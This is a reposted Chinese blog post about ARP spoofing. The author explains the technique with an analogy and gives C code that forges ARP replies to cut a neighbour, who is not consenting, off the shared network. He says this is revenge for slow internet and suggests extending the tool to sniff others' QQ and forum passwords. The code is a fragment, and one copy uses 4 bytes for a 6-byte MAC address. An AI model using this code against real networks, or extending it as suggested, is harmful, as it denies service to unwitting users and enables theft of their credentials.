ARP欺骗实验

来源:互联网 发布:资生堂有淘宝旗舰店吗 编辑:程序博客网 时间:2024/06/06 03:33

转载:http://www.52harry.com/program/linux/2011-12-03/673.html

 周末到了,周末不上班,在家搞定东西娱乐一下。

    上上个星期建了一个返利平台和一个淘宝的推广平台, 淘淘格子铺:shopping.52harry.com,www.getshare.org

    上个星期建了一个长网址转短网址的服务平台。url.52harry.com

    这个周末该弄点什么呢,一大早起来,发现网速很慢,应该是因为隔壁的那个人老是喜欢下东西,而且不限速,

所以是时候搞个东西恶心一下他们了,局域网限速工具其实网上都有很多的,但是有一些是有病毒,有后门的,不过同学曾今给我一个工具,以前用用还好的,最近好像是怎么管用了,于是决定自己写一个局域网的限速小工具。

    其实关于局域网的限速工具用得就是ARP欺骗的原理。举个例子吧,

    一个局域网就相当于一个“院子(局域网)”,

    每一个IP代表一户人家,这个IP其实是这个人家的代号(小王),至于这户人家的具体的门牌号就是小王家的门牌号,

    而192.168.1.1是网关,就相当于门卫,门卫大爷那边有整个小区的代号和门牌的对照表

    现在如果局域网中有一个小王:192.168.1.3,(门牌号为01)

                                          小张:192.168.1.4, (门牌号为02)

                                          门卫大爷:192.168.1.1, (门牌号为03)

   如果小王想找隔壁小区的www.baidu.com聊天,(相当于访问百度),

   首先要告诉门卫大爷,我想找www.baidu.com聊聊天,

   然后门卫大爷就去找www.baidu.com,然后把百度的地址告诉小王,

   小王就能和www.baidu.com聊天了,

   但是小张(192.168.1.4)同学不喜欢小王(192.168.1.3)跟www.baidu.com聊天,

   于是他就欺骗小王(192.168.1.3),说:门卫大爷(192.168.1.1)的门牌号是02(其实是小张(192.168.1.4)的门牌号),

   然后小王就以为门卫大爷(192.168.1.1)的门牌号为02了,其实应该是03

   这样如果小王(192.168.1.3)想跟www.baidu.com聊天的话,他就要找到门卫大爷(192.168.1.1),

   然后根据自己以为的门牌号(02)去找,但这个时候找的其实不是门卫大爷,

   其实找到了小张门口,

   但是小张不告诉小王www.baidu.com的地址,

   于是小王就没法和www.baidu.com聊天了,

   这样就实现了一次ARP欺骗,不过 过段时间门卫大爷(路由器,192.168.1.1)会在小区(局域网)里面广播一下,说 我是门卫(192.168.1.1),门牌号是03,这样小王就又能找到www.baidu.com

   只要小张一直告诉小王,门卫大爷的门牌号是02,那么小王就找不到www.baidu.com,就相当于上不了网了。

 

根据这个原理:

   写了一个小程序,想想要攻击的IP(192.168.1.3)发送arp响应包,告诉192.168.103,192.168.1.1的mac address为192.168.1.4的mac address

  当然首先得获得192.168.1.3,192.168.1.4的mac address

struct   arp_hdr {                         //用于arp请求或应答的数据结构 
   
                  //以太网首部     
                  u_char    ether_dhost[ETH_ALEN];     //目标MAC地址   
                  u_char    ether_shost[ETH_ALEN];     //源MAC地址 
                  u_short   ether_type;                //帧类型 
                   
                  //arp                   
                  u_short   ar_hrd;                    //硬件类型 
                  u_short   ar_pro;                    //协议类型 
                  u_char    ar_hln;                    //硬件地址长度 
                  u_char    ar_pln;                    //协议地址长度   
                  u_short   ar_op;                     //ARP opcode (command) 
                  u_char    ar_sha[ETH_ALEN];          //发送端以太网地址   
                  u_char    ar_sip[4];                 //发送端IP地址   
                  u_char    ar_tha[ETH_ALEN];          //目的端以太网地址   
                  u_char    ar_tip[4];                 //目的端IP地址     
                  u_char    padding[18];               //padding   
   
      }; 

      bcopy(victimmac,arp->ether_dhost,6);  //攻击的IP的mac address
      bcopy(hostmac,arp->ether_shost,4);  //本机的mac address 
      arp->ether_type=htons(ETHERTYPE_ARP);   
   
       //arp header 
       arp->ar_hrd   =   htons(ARPHRD_ETHER);   
       arp->ar_pro   =   htons(ETHERTYPE_IP);   
       arp->ar_hln   =   6;   
       arp->ar_pln   =   4;   
       arp->ar_op   =   htons(2);  //应答包 
   
       bcopy(hostmac,arp->ar_sha,6);  //源mac address
       bcopy(&gatewayaddr,arp->ar_sip,4);   
       bcopy(victimmac,arp->ar_tha,6);  //攻击目标的 mac address
       bcopy(&dstaddr,arp->ar_tip,4); 
       bzero(arp->padding,18);   
   
       //strcpy(to.sa_data, DEF_INTERFACE);   
       if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0) 
      {   
          perror(" send  response to v arpspoof   gatewaymac is hostmac");   
          exit(-1);   
       }   ,

写好后编译,然后我们来测试一下 在运行改程序前,首先在运行一下arp -a,可看到192.168.1.1的mac地址,

运行改程序后,再查看arp -a 发现192.168.1.1的mac地址 变了,就说明成功了。

根据这个原理,我们还可以继续开发其他功能,比如说 局域网限速,局域网嗅探别人的QQ账号,论坛账号密码等等等等。

原创粉丝点击